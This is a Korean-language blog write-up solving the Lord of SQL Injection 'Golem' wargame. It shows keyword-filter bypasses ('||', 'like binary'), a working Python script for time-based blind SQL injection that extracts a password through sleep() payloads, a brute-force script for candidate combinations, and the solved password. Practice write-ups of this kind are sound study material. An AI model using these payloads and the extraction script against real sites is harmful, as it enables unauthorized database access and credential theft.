Golem Write-up

Ccr3t·2025년 7월 30일
0

Wargame

목록 보기
31/55

[Solved in under 14 minutes]

전 문제가 너무 의도치 않게 빨리 풀려 하나 더 풀어보자.

바로 가자

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>

이제는 마지막에서 두번째줄 && / == 만 보면 아.. 그냥 Time-based 구나 라는 생각이 들어 바로 sleep() 함수부터 조져본다 ㅋㅋ..

일단 간단하게 코드 정리하자면 or, and, substr(, =, () etc.. 를 중점으로 필터링을 한다.
여기서 함정 ()는 필터링이 되는데 (a) 는 필터링이 안된다. 즉 안에 값이 비어있으면 필터링이 걸린다. 눈 뜨고 고 베이기 전에 잘 보자

그리고 몇번이나 말했지만 result['pw'] && result['pw'] == get['pw'] 이 구문 때문에 값을 논리형으로 해결이 안된다.

정말 값을 찾아서 삽입해야 한다.

일단 그럼 우리가 가장 먼저 테스트 하기 전에
SQL Injection filter bypass
한번 정독하자.. 내가 쓸려고 만든건데 이번에도 이거 썼다.

1' or sleep(3) %23 이건 or이 필터링이 걸려있으니 ||로 치환해주고 하면?

pw=1' || sleep(3) %23

역시나 아주 잘 걸린다.

아 그리고 이건 이 정도 문제 풀 사람이면 기본이라 생각해서 말 안했는데 혹시나 이게 습관이 될까봐 말하는데 1' <-- 이거 내 습관이니 하기전에 꼭 1 넣어보고 로그인이 안되어야 한다

무슨 말이냐 guest / 1 진짜 이게 아이디 비밀번호 일수도 있다 이러면 뒤에 구문이 안 먹힌다.

다시 돌아와서 이제 코드를 수정할건데 일단 필터링 우회하기 전에 간단하게 생각해보자.

1' or binary substr(1,pw,1)='0~Z' and sleep(3) # 이거다.

여기서 필터링 우회를 한번 해보자

1' || binary substr(1,pw,1) like binary '0~Z' && sleep(3) #

간단하게 생각하고 필터링을 우회하면 생각하기 편해진다.
아 그리고 binary 이거는 SQL 문제 풀다가 알게된건데 대소문자 구분한다는 뭐 그거 였던걸로 공부했어서 습관성 쓰고 있다. 안써도 딱히 문제 있을려나?

여하튼

이제 수정하자

import requests
import time

url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
cookie = {'PHPSESSID': '2muvd8j8ma8a1pskahcsptdrcq'}

charset = '0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLNMOPQRSTUVWXYZ'
pw_len_result = ''
result_all = ''

print("PW 길이 찾기 요이땅!")

for pw_len in range(1, 33):
    len_payload = f"1' || if(length(pw) in ({pw_len}), sleep(3), 0) #"
    len_start = time.time()
    len_response = requests.get(url, params={'pw': len_payload}, cookies=cookie)
    len_found_time = time.time() - len_start
    
    if len_found_time > 2:
        pw_len_result = pw_len
        print(f"PW 길이 : {pw_len}")
        break

print("PW 값 찾기 요이땅!")

if pw_len_result:
    for i in range(1, pw_len_result + 1):
        result = []
        for char in charset:
            payload = f"1' || binary substring(pw,{i},1) like binary '{char}' && sleep(3) #"

            start = time.time()
            response = requests.get(url, params={'pw': payload}, cookies=cookie)
            found_time = time.time() - start

            if found_time > 2:
                result += char
                print(f"PW 값 {i}번째 : {char}")
        
        if len(result) == 1:   
            result_all += result[0]
        elif len(result) > 1:
            result_all += f"[{''.join(result)}]"
        else:
            print("다시 돌려라.")
        
else:
    print("PW 길이 못 찾았다. 다시 돌려라.")
    
print(f"PW 값 {pw_len_result}자리  : {result_all}")

코드는 LoS 문제 풀다가 한번 마음잡고 코드 만든거를 조금씩 변형해서 계속 풀고있다. 페이로드만 바꿔주고 돌리면 된다 너무 편하다 진짜.. 여러분도 마음 한번 먹고 자기만의 Time-based SQL Injection 코드 만들면 진짜 너무 편합니다..

길이는 굳이 안 구하고 그냥 돌려도 되는데 그 때 당시 이왕 만드는거 확실하게 만들어보자는 생각이 들어서 넣은겨 히히

그렇게 시간을 조금 기다리면~

import requests
import itertools
import re

url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
cookies = {'PHPSESSID': '2muvd8j8ma8a1pskahcsptdrcq'}  # 필요 시 설정

# 사용자 입력 받기
user_input = "[7d][7f][dj][6i][2a][9s][0k][bd]"

# 대괄호 안 문자들만 추출
# 예: [7d] → ['7', 'd']
char_sets = [list(group) for group in re.findall(r'\[([^\[\]]+)\]', user_input)]

# 조합 생성
combinations = itertools.product(*char_sets)

for combo in combinations:
    pw = ''.join(combo)
    params = {'pw': pw}
    res = requests.get(url, params=params, cookies=cookies)

    if "clear" in res.text.lower():  # 성공 판단 기준 문자열
        print(f"[+] Found: {pw}")
        break

진지하게 나만 그런건지는 모르겠는데 sleep이 한 인덱스에 두번씩 걸린다? 일부러 이렇게 만든건가 생각이 들 지경이다.

이 코드는 빡쳐서 GPT 형님한테 경우의수 줄테니까 그거 다 때려보고 clear라는 문구 있으면 그 값을 뽑아줘 라고 하니까 귀신같이 만들어줬다. 저번에 써먹었던거 그대로~ 가지고 있다가 인풋만 바꿔주고 삽입했다..

너무 편하다.. ㅎㅎ

바로 넣어보자

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ 답 ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ

?pw=77d6290b

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ

재밌당..!

일기처럼 기록용으로 쓰는거라지만 모르는 분이 보실 때 나름 풀이를 최대한 쉽게 하려고 하는데 워낙 말솜씨가 없어서 잘 이해했을려나 싶다..

나도 모르게 생략했는것도 있을 수 있다 분명... 언제든 댓글 또는 이메일 보내주시면 정말 친절히 내가 아는 범위에서 같이 공부해봐요...!

LoS(Lord of SQL Injection) Golem Write-up

이상 보고 끝!

profile
웹해킹을 잘 못 하지만 좋아 하려고 노력하는 한 젊은이.

0개의 댓글